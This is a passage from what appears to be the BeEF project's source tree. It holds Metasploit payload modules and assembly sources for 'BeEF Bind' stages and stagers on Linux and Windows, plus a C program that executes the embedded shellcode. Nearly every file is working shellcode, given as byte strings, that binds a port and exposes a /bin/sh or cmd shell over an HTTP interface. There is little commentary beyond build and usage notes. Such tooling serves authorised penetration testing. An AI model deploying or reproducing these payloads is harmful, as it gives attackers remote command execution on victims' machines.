                                "\x4c\x89\xff\x4c\x89\xf6\x66\xba\x00\x04\x6a\x00\x58\x0f\x05\xb9" \
                                "\x00\x04\x00\x00\x4c\x89\xf3\x81\x3b\x63\x6d\x64\x3d\x74\x0a\x48" \
                                "\xff\xc3\x48\xff\xc9\xe3\x34\xeb\xee\x48\x31\xff\x48\x89\xd9\x48" \
                                "\x83\xc1\x03\x48\x89\xce\x8b\x7c\x24\x0c\x48\xff\xc6\x6a\x01\x5a" \
                                "\x6a\x01\x58\x0f\x05\x80\x3e\x0a\x75\xf0\x6a\x23\x58\x6a\x00\x6a" \
                                "\x01\x48\x89\xe7\x48\x31\xf6\x0f\x05\x58\x58\xe8\x62\x00\x00\x00" \
                                "\x48\x54\x54\x50\x2f\x31\x2e\x31\x20\x32\x30\x30\x20\x4f\x4b\x0d" \
                                "\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x74" \
                                "\x65\x78\x74\x2f\x68\x74\x6d\x6c\x0d\x0a\x41\x63\x63\x65\x73\x73" \
                                "\x2d\x43\x6f\x6e\x74\x72\x6f\x6c\x2d\x41\x6c\x6c\x6f\x77\x2d\x4f" \
                                "\x72\x69\x67\x69\x6e\x3a\x20\x2a\x0d\x0a\x43\x6f\x6e\x74\x65\x6e" \
                                "\x74\x2d\x4c\x65\x6e\x67\x74\x68\x3a\x20\x33\x30\x34\x38\x0d\x0a" \
                                "\x0d\x0a\x5e\x4c\x89\xf7\x48\x81\xc7\x00\x04\x00\x00\xb9\x62\x00" \
                                "\x00\x00\xf3\xa4\x48\x31\xff\x8b\x3c\x24\x4c\x89\xf6\x48\x81\xc6" \
                                "\x00\x04\x00\x00\x48\x83\xc6\x62\xba\x86\x0b\x00\x00\x48\x31\xc0" \
                                "\x0f\x05\x4c\x89\xff\x4c\x89\xf6\x48\x81\xc6\x00\x04\x00\x00\xba" \
                                "\xe8\x0b\x00\x00\x6a\x01\x58\x0f\x05\x4c\x89\xff\x6a\x03\x58\x0f" \
                                "\x05\xe9\x69\xfe\xff\xff\x48\x31\xff\x8b\x7c\x24\x0c\x6a\x03\x58" \
                                "\x0f\x05\x48\x31\xff\x6a\x03\x58\x0f\x05\x8b\x7c\x24\x08\x6a\x20" \
                                "\x58\x0f\x05\x8b\x3c\x24\x6a\x03\x58\x0f\x05\x48\x31\xff\x48\xff" \
                                "\xc7\x6a\x03\x58\x0f\x05\x8b\x7c\x24\x04\x6a\x20\x58\x0f\x05\x48" \
                                "\x31\xff\x48\x31\xf6\x48\x31\xd2\x6a\x75\x58\x0f\x05\x6a\x3b\x58" \
                                "\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x48\x89\xe7\x48\x31" \
                                "\xf6\x48\x31\xd2\x0f\x05"
                            }))
      end
    
      # Stage encoding is safe for this payload
      def encode_stage?
        true
      end
    end
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-linux-x86.rb
    ================================================
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'msf/base/sessions/command_shell'
    require 'msf/base/sessions/command_shell_options'
    
    module MetasploitModule
      include Msf::Payload::Linux
      include Msf::Sessions::CommandShellOptions
    
      def initialize(info = {})
        super(merge_info(info,
                         'Name' => 'BeEF Bind Linux Command Shell Stage (stage x86)',
                         'Description' => 'Spawn a piped command shell (staged) with an HTTP interface',
                         'Author' => ['Bart Leppens'],
                         'License' => BSD_LICENSE,
                         'Platform' => 'linux',
                         'Arch' => ARCH_X86,
                         'Session' => Msf::Sessions::CommandShell,
                         'PayloadCompat' =>
                            {
                              'Convention' => 'beef_bind'
                            },
                         'Stage' =>
                            {
                              'Offsets' =>
                                 {
                                   'LPORT' => [168, 'n']
                                 },
                              'Payload' =>
                                "\xfc\x31\xd2\x6a\x02\x59\x52\x52\x89\xe3\x6a\x2a\x58\xcd\x80\x49" \
                                "\x67\xe3\x02\xeb\xf1\x31\xdb\x6a\x02\x58\xcd\x80\x3d\x00\x00\x00" \
                                "\x00\x0f\x84\xe4\x01\x00\x00\x8b\x5c\x24\x08\x6a\x06\x58\xcd\x80" \
                                "\x8b\x5c\x24\x04\x6a\x06\x58\xcd\x80\x8b\x1c\x24\x6a\x04\x59\x68" \
                                "\x00\x08\x00\x00\x5a\x6a\x37\x58\xcd\x80\x6a\x00\x68\xff\xff\xff" \
                                "\xff\x6a\x22\x6a\x07\x68\x00\x10\x00\x00\x68\x00\x00\x00\x00\x89" \
                                "\xe3\x6a\x5a\x58\xcd\x80\x89\xc7\x81\xc4\x18\x00\x00\x00\x31\xd2" \
                                "\x31\xc0\x6a\x01\x5b\x50\x40\x50\x40\x50\x89\xe1\x6a\x66\x58\xcd" \
                                "\x80\x89\xc6\x81\xc4\x0c\x00\x00\x00\x6a\x0e\x5b\x6a\x04\x54\x6a" \
                                "\x02\x6a\x01\x56\x89\xe1\x6a\x66\x58\xcd\x80\x81\xc4\x14\x00\x00" \
                                "\x00\x6a\x02\x5b\x52\x68\x02\x00\x11\x5c\x89\xe1\x6a\x10\x51\x56" \
                                "\x89\xe1\x6a\x66\x58\xcd\x80\x81\xc4\x14\x00\x00\x00\x43\x43\x53" \
                                "\x56\x89\xe1\x6a\x66\x58\xcd\x80\x81\xc4\x08\x00\x00\x00\x43\x52" \
                                "\x52\x56\x89\xe1\x6a\x66\x58\xcd\x80\x81\xc4\x0c\x00\x00\x00\x96" \
                                "\x93\xb8\x06\x00\x00\x00\xcd\x80\xb9\x00\x10\x00\x00\x49\x89\xfb" \
                                "\x01\xcb\xc6\x03\x00\xe3\x05\xe9\xf1\xff\xff\xff\x66\xba\x00\x04" \
                                "\x89\xf9\x89\xf3\x6a\x03\x58\xcd\x80\x57\x56\x89\xfb\xb9\x00\x04" \
                                "\x00\x00\x81\x3b\x63\x6d\x64\x3d\x74\x09\x43\x49\xe3\x3a\xe9\xef" \
                                "\xff\xff\xff\x89\xd9\x81\xc1\x03\x00\x00\x00\x8b\x5c\x24\x14\x41" \
                                "\x6a\x01\x5a\x6a\x04\x58\xcd\x80\x80\x39\x0a\x75\xf2\x68\x00\x00" \
                                "\x00\x00\x68\x01\x00\x00\x00\x89\xe3\x31\xc9\xb8\xa2\x00\x00\x00" \
                                "\xcd\x80\x81\xc4\x08\x00\x00\x00\xe8\x62\x00\x00\x00\x48\x54\x54" \
                                "\x50\x2f\x31\x2e\x31\x20\x32\x30\x30\x20\x4f\x4b\x0d\x0a\x43\x6f" \
                                "\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x74\x65\x78\x74" \
                                "\x2f\x68\x74\x6d\x6c\x0d\x0a\x41\x63\x63\x65\x73\x73\x2d\x43\x6f" \
                                "\x6e\x74\x72\x6f\x6c\x2d\x41\x6c\x6c\x6f\x77\x2d\x4f\x72\x69\x67" \
                                "\x69\x6e\x3a\x20\x2a\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c" \
                                "\x65\x6e\x67\x74\x68\x3a\x20\x33\x30\x34\x38\x0d\x0a\x0d\x0a\x5e" \
                                "\x81\xc7\x00\x04\x00\x00\xb9\x62\x00\x00\x00\xf3\xa4\x5f\x5e\x8b" \
                                "\x1c\x24\x89\xf1\x81\xc1\x00\x04\x00\x00\x81\xc1\x62\x00\x00\x00" \
                                "\x68\x86\x0b\x00\x00\x5a\x6a\x03\x58\xcd\x80\x89\xfb\x89\xf1\x81" \
                                "\xc1\x00\x04\x00\x00\xba\xe8\x0b\x00\x00\x6a\x04\x58\xcd\x80\x6a" \
                                "\x06\x58\xcd\x80\x89\xf7\xe9\x63\xfe\xff\xff\x8b\x5c\x24\x0c\x6a" \
                                "\x06\x58\xcd\x80\x31\xdb\x6a\x06\x58\xcd\x80\x8b\x5c\x24\x08\x6a" \
                                "\x29\x58\xcd\x80\x8b\x1c\x24\x6a\x06\x58\xcd\x80\x31\xdb\x43\x6a" \
                                "\x06\x58\xcd\x80\x8b\x5c\x24\x04\x6a\x29\x58\xcd\x80\x31\xc0\x31" \
                                "\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x31\xc0\x50\x50\x68\x2f\x2f" \
                                "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x6a\x0b\x58\xcd\x80"
                            }))
      end
    
      # Stage encoding is safe for this payload
      def encode_stage?
        true
      end
    end
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stage-windows-x86.rb
    ================================================
    ##
    # $Id: beef_bind-stage.rb 121018 Ty Miller @ Threat Intelligence$
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'msf/base/sessions/command_shell'
    require 'msf/base/sessions/command_shell_options'
    
    module MetasploitModule
      include Msf::Payload::Windows
      include Msf::Sessions::CommandShellOptions
    
      def initialize(info = {})
        super(merge_info(info,
                         'Name' => 'BeEF Bind Windows Command Shell Stage (stager)',
                         'Version' => '$Revision: 11421 $',
                         'Description' => 'Spawn a piped command shell (staged) with an HTTP interface',
                         'Author' => ['Ty Miller'],
                         'License' => BSD_LICENSE,
                         'Platform' => 'win',
                         'Arch' => ARCH_X86,
                         'Session' => Msf::Sessions::CommandShellWindows,
                         'PayloadCompat' =>
                            {
                              'Convention' => 'beef_bind'
                            },
                         'Stage' =>
                            {
                              'Offsets' =>
                                 {
                                   'LPORT' => [511, 'n']
                                 },
                              'Payload' =>
                                "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31" \
                                "\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52" \
                                "\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" \
                                "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1" \
                                "\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52" \
                                "\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" \
                                "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" \
                                "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b" \
                                "\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" \
                                "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b" \
                                "\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3" \
                                "\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" \
                                "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b" \
                                "\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" \
                                "\x12\xeb\x86\x5d\xbb\x00\x10\x00\x00\x6a" \
                                "\x40\x53\x53\x6a\x00\x68\x58\xa4\x53\xe5" \
                                "\xff\xd5\x89\xc6\x68\x01\x00\x00\x00\x68" \
                                "\x00\x00\x00\x00\x68\x0c\x00\x00\x00\x68" \
                                "\x00\x00\x00\x00\x89\xe3\x68\x00\x00\x00" \
                                "\x00\x89\xe1\x68\x00\x00\x00\x00\x8d\x7c" \
                                "\x24\x0c\x57\x53\x51\x68\x3e\xcf\xaf\x0e" \
                                "\xff\xd5\x68\x00\x00\x00\x00\x89\xe3\x68" \
                                "\x00\x00\x00\x00\x89\xe1\x68\x00\x00\x00" \
                                "\x00\x8d\x7c\x24\x14\x57\x53\x51\x68\x3e" \
                                "\xcf\xaf\x0e\xff\xd5\x8b\x5c\x24\x08\x68" \
                                "\x00\x00\x00\x00\x68\x01\x00\x00\x00\x53" \
                                "\x68\xca\x13\xd3\x1c\xff\xd5\x8b\x5c\x24" \
                                "\x04\x68\x00\x00\x00\x00\x68\x01\x00\x00" \
                                "\x00\x53\x68\xca\x13\xd3\x1c\xff\xd5\x89" \
                                "\xf7\x68\x63\x6d\x64\x00\x89\xe3\xff\x74" \
                                "\x24\x10\xff\x74\x24\x14\xff\x74\x24\x0c" \
                                "\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7" \
                                "\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6" \
                                "\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e" \
                                "\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff" \
                                "\xd5\x89\xfe\xb9\xf8\x0f\x00\x00\x8d\x46" \
                                "\x08\xc6\x00\x00\x40\xe2\xfa\x56\x8d\xbe" \
                                "\x18\x04\x00\x00\xe8\x42\x00\x00\x00\x48" \
                                "\x54\x54\x50\x2f\x31\x2e\x31\x20\x32\x30" \
                                "\x30\x20\x4f\x4b\x0d\x0a\x43\x6f\x6e\x74" \
                                "\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20" \
                                "\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x0d" \
                                "\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c" \
                                "\x65\x6e\x67\x74\x68\x3a\x20\x33\x30\x34" \
                                "\x38\x0d\x0a\x0d\x0a\x5e\xb9\x42\x00\x00" \
                                "\x00\xf3\xa4\x5e\x56\x68\x33\x32\x00\x00" \
                                "\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26" \
                                "\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4" \
                                "\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50" \
                                "\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f" \
                                "\xdf\xe0\xff\xd5\x97\x31\xdb\x53\x68\x02" \
                                "\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" \
                                "\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7" \
                                "\xe9\x38\xff\xff\xd5\x53\x53\x57\x68\x74" \
                                "\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e" \
                                "\x4d\x61\xff\xd5\x81\xc4\xa0\x01\x00\x00" \
                                "\x5e\x89\x3e\x6a\x00\x68\x00\x04\x00\x00" \
                                "\x89\xf3\x81\xc3\x08\x00\x00\x00\x53\xff" \
                                "\x36\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x54" \
                                "\x24\x64\xb9\x00\x04\x00\x00\x81\x3b\x63" \
                                "\x6d\x64\x3d\x74\x06\x43\x49\xe3\x3a\xeb" \
                                "\xf2\x81\xc3\x03\x00\x00\x00\x43\x53\x68" \
                                "\x00\x00\x00\x00\x8d\xbe\x10\x04\x00\x00" \
                                "\x57\x68\x01\x00\x00\x00\x53\x8b\x5c\x24" \
                                "\x70\x53\x68\x2d\x57\xae\x5b\xff\xd5\x5b" \
                                "\x80\x3b\x0a\x75\xda\x68\xe8\x03\x00\x00" \
                                "\x68\x44\xf0\x35\xe0\xff\xd5\x31\xc0\x50" \
                                "\x8d\x5e\x04\x53\x50\x50\x50\x8d\x5c\x24" \
                                "\x74\x8b\x1b\x53\x68\x18\xb7\x3c\xb3\xff" \
                                "\xd5\x85\xc0\x74\x44\x8b\x46\x04\x85\xc0" \
                                "\x74\x3d\x68\x00\x00\x00\x00\x8d\xbe\x14" \
                                "\x04\x00\x00\x57\x68\xa6\x0b\x00\x00\x8d" \
                                "\xbe\x5a\x04\x00\x00\x57\x8d\x5c\x24\x70" \
                                "\x8b\x1b\x53\x68\xad\x9e\x5f\xbb\xff\xd5" \
                                "\x6a\x00\x68\xe8\x0b\x00\x00\x8d\xbe\x18" \
                                "\x04\x00\x00\x57\xff\x36\x68\xc2\xeb\x38" \
                                "\x5f\xff\xd5\xff\x36\x68\xc6\x96\x87\x52" \
                                "\xff\xd5\xe9\x58\xfe\xff\xff"
                            }))
      end
    
      # Stage encoding is safe for this payload
      def encode_stage?
        true
      end
    end
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-linux-x64.rb
    ================================================
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'msf/core/handler/beef_bind'
    
    module MetasploitModule
      include Msf::Payload::Stager
      include Msf::Payload::Linux
    
      def initialize(info = {})
        super(merge_info(info,
                         'Name' => 'BeEF Bind HTTP Stager',
                         'Description' => 'Proxy web requests between a web browser and a shell',
                         'Author' => ['Bart Leppens'],
                         'License' => BSD_LICENSE,
                         'Platform' => 'linux',
                         'Arch' => ARCH_X64,
                         'Handler' => Msf::Handler::BeefBind,
                         'Convention' => 'beef_bind',
                         'Stager' =>
                            {
                              'RequiresMidstager' => false,
                              'Offsets' => { 'LPORT' => [54, 'n'] },
                              'Payload' =>
                                "\xfc\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58\x0f\x05\x48" \
                                "\x89\xc3\x6a\x01\x49\x89\xe2\x6a\x08\x41\x58\x6a\x02\x5a\x6a\x01" \
                                "\x5e\x48\x89\xdf\x6a\x36\x58\x0f\x05\x48\x31\xc0\x6a\x10\x5a\x50" \
                                "\x50\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x48\x89\xdf\x6a\x31" \
                                "\x58\x0f\x05\x48\x31\xf6\x48\x89\xdf\x6a\x32\x58\x0f\x05\x48\x31" \
                                "\xd2\x48\x31\xf6\x48\x89\xdf\x6a\x2b\x58\x0f\x05\x49\x89\xc7\x48" \
                                "\x89\xdf\x6a\x03\x58\x0f\x05\x48\x31\xff\x68\x00\x10\x00\x00\x5e" \
                                "\x6a\x07\x5a\x6a\x22\x41\x5a\x57\x57\x41\x59\x41\x58\x6a\x09\x58" \
                                "\x0f\x05\x49\x89\xc6\x4c\x89\xff\x4c\x89\xf6\x66\xba\x00\x10\x6a" \
                                "\x00\x58\x0f\x05\x4c\x89\xff\x6a\x03\x58\x0f\x05\x4c\x89\xf6\x81" \
                                "\x3e\x63\x6d\x64\x3d\x74\x05\x48\xff\xc6\xeb\xf3\x6a\x04\x58\x48" \
                                "\x01\xc6\xff\xe6"
                            }))
      end
    end
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-linux-x86.rb
    ================================================
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'msf/core/handler/beef_bind'
    
    module MetasploitModule
      include Msf::Payload::Stager
      include Msf::Payload::Linux
    
      def initialize(info = {})
        super(merge_info(info,
                         'Name' => 'BeEF Bind HTTP Stager',
                         'Description' => 'Proxy web requests between a web browser and a shell',
                         'Author' => ['Bart Leppens'],
                         'License' => BSD_LICENSE,
                         'Platform' => 'linux',
                         'Arch' => ARCH_X86,
                         'Handler' => Msf::Handler::BeefBind,
                         'Convention' => 'beef_bind',
                         'Stager' =>
                            {
                              'RequiresMidstager' => false,
                              'Offsets' => { 'LPORT' => [47, 'n'] },
                              'Payload' =>
                                "\xfc\x31\xc0\x31\xd2\x6a\x01\x5b\x50\x40\x50\x40\x50\x89\xe1\x6a" \
                                "\x66\x58\xcd\x80\x89\xc6\x6a\x0e\x5b\x6a\x04\x54\x6a\x02\x6a\x01" \
                                "\x56\x89\xe1\x6a\x66\x58\xcd\x80\x6a\x02\x5b\x52\x68\x02\x00\x11" \
                                "\x5c\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x43" \
                                "\x53\x56\x89\xe1\x6a\x66\x58\xcd\x80\x43\x52\x52\x56\x89\xe1\x6a" \
                                "\x66\x58\xcd\x80\x96\x93\xb8\x06\x00\x00\x00\xcd\x80\x6a\x00\x68" \
                                "\xff\xff\xff\xff\x6a\x22\x6a\x07\x68\x00\x10\x00\x00\x6a\x00\x89" \
                                "\xe3\x6a\x5a\x58\xcd\x80\x89\xc7\x66\xba\x00\x10\x89\xf9\x89\xf3" \
                                "\x6a\x03\x58\xcd\x80\x6a\x06\x58\xcd\x80\x81\x3f\x63\x6d\x64\x3d" \
                                "\x74\x03\x47\xeb\xf5\x6a\x04\x58\x01\xc7\xff\xe7"
                            }))
      end
    end
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/msf/beef_bind-stager-windows-x86.rb
    ================================================
    ##
    # $Id: beef_bind-stager.rb 121018 Ty Miller @ Threat Intelligence$
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'msf/core/handler/beef_bind'
    
    module MetasploitModule
      include Msf::Payload::Stager
      include Msf::Payload::Windows
    
      def initialize(info = {})
        super(merge_info(info,
                         'Name' => 'BeEF Bind HTTP Stager',
                         'Version' => '$Revision: 9179 $',
                         'Description' => 'Proxy web requests between a web browser and a shell',
                         'Author' => ['Ty Miller'],
                         'License' => BSD_LICENSE,
                         'Platform' => 'win',
                         'Arch' => ARCH_X86,
                         'Handler' => Msf::Handler::BeefBind,
                         'Convention' => 'beef_bind',
                         'Stager' =>
                            {
                              'RequiresMidstager' => false,
                              'Offsets' => { 'LPORT' => [200, 'n'] },
                              'Payload' =>
                                # Length: 299 bytes
                                "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b" \
                                "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0" \
                                "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57" \
                                "\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01" \
                                "\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b" \
                                "\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4" \
                                "\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" \
                                "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24" \
                                "\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d" \
                                "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07" \
                                "\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00" \
                                "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff" \
                                "\xd5\x97\x31\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57" \
                                "\x68\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5" \
                                "\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97\x68\x75\x6e\x4d" \
                                "\x61\xff\xd5\xbb\x00\x10\x00\x00\x6a\x40\x53\x53\x6a\x00\x68\x58" \
                                "\xa4\x53\xe5\xff\xd5\x89\xc6\x6a\x00\x53\x50\x57\x68\x02\xd9\xc8" \
                                "\x5f\xff\xd5\x57\x68\xc6\x96\x87\x52\xff\xd5\x81\x3e\x63\x6d\x64" \
                                "\x3d\x74\x03\x46\xeb\xf5\x83\xc6\x04\xff\xe6"
                            }))
      end
    end
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/windows/beef_bind_tcp-stage.asm
    ================================================
    
    [SECTION .text]
    BITS 32
    [ORG 0]					;code starts at offset 0 
    
    	cld				;clear the direction flag
    	call start			;jump over block_api and push its address onto the stack
    %include "src/block_api.asm"
    start:
    	pop ebp				;pop the address of block_api into ebp for calling functions later
    %include "src/block_beef_bind-stage.asm"	;setup web listener to proxy requests and responses to the shell
    
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/windows/beef_bind_tcp-stager.asm
    ================================================
    
    [SECTION .text]
    BITS 32
    [ORG 0]					;code starts at offset 0 
    
    	cld				;clear the direction flag
    	call start			;jump over block_api and push its address onto the stack
    %include "src/block_api.asm"
    start:
    	pop ebp				;pop the address of block_api into ebp for calling functions later
    %include "src/block_beef_bind-stager.asm"	;setup bind port, receive web request, locate stage, execute it
    
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/windows/socket.c
    ================================================
    /**
     Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
     Browser Exploitation Framework (BeEF) - https://beefproject.com
     See the file 'doc/COPYING' for copying permission
    
    A standalone version can be compiled with MinGW:
    c:\MinGW\bin>gcc -o beefstager.exe beefstager.c
    
    and then executed with:
    c:\MinGW\bin>beefstager.exe 1234
    
    or just with the default port 4444:
    c:\MinGW\bin>beefstager.exe
    **/
    
    
    #include 
    
    char code[] = "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x31\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x53\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D\x61\xFF\xD5\xBB\x00\x10\x00\x00\x6A\x40\x53\x53\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x89\xC6\x6A\x00\x53\x50\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x57\x68\xC6\x96\x87\x52\xFF\xD5\x81\x3E\x63\x6D\x64\x3D\x74\x03\x46\xEB\xF5\x83\xC6\x04\xFF\xE6";
    
    int main(int argc, char **argv)
    {
    if (argc == 2){
      int port;
      port = atoi(argv[1]);
      if (port <= 0xFFFF){
        code[200] = ((port & 0xFF00) >> 8) & 0xFF;
        code[201] = ((port & 0xFF));
      }	
    }
    
    int (*func)();
    func = (int (*)()) code;
    (int)(*func)();
     return 0;
    }
    
    
    ================================================
    FILE: modules/exploits/beefbind/shellcode_sources/windows/src/block_api.asm
    ================================================
    ;-----------------------------------------------------------------------------;
    ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
    ; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
    ; Version: 1.0 (24 July 2009)
    ; Size: 137 bytes
    ;-----------------------------------------------------------------------------;
    
    [BITS 32]
    
    ; Input: The hash of the API to call and all its parameters must be pushed onto stack.
    ; Output: The return value from the API call will be in EAX.
    ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
    ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
    ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
    ; Note: This function is unable to call forwarded exports.
    
    api_call:
      pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
      mov ebp, esp           ; Create a new stack frame
      xor edx, edx           ; Zero EDX
      mov edx, [fs:edx+48]   ; Get a pointer to the PEB
      mov edx, [edx+12]      ; Get PEB->Ldr
      mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
    next_mod:                ;
      mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
      movzx ecx, word [edx+38] ; Set ECX to the length we want to check 
      xor edi, edi           ; Clear EDI which will store the hash of the module name
    loop_modname:            ;
      xor eax, eax           ; Clear EAX
      lodsb                  ; Read in the next byte of the name
      cmp al, 'a'            ; Some versions of Windows use lower case module names
      jl not_lowercase       ;
      sub al, 0x20           ; If so normalise to uppercase
    not_lowercase:           ;
      ror edi, 13            ; Rotate right our hash value
      add edi, eax           ; Add the next byte of the name
      loop loop_modname      ; Loop untill we have read enough
      ; We now have the module hash computed
      push edx               ; Save the current position in the module list for later
      push edi               ; Save the current module hash for later
      ; Proceed to itterate the export address table, 
      mov edx, [edx+16]      ; Get this modules base address
      mov eax, [edx+60]      ; Get PE header
      add eax, edx           ; Add the modules base address
      mov eax, [eax+120]     ; Get export tables RVA
      test eax, eax          ; Test if no export address table is present
      jz get_next_mod1       ; If no EAT present, process the next module
      add eax, edx           ; Add the modules base address
      push eax               ; Save the current modules EAT
      mov ecx, [eax+24]      ; Get the number of function names  
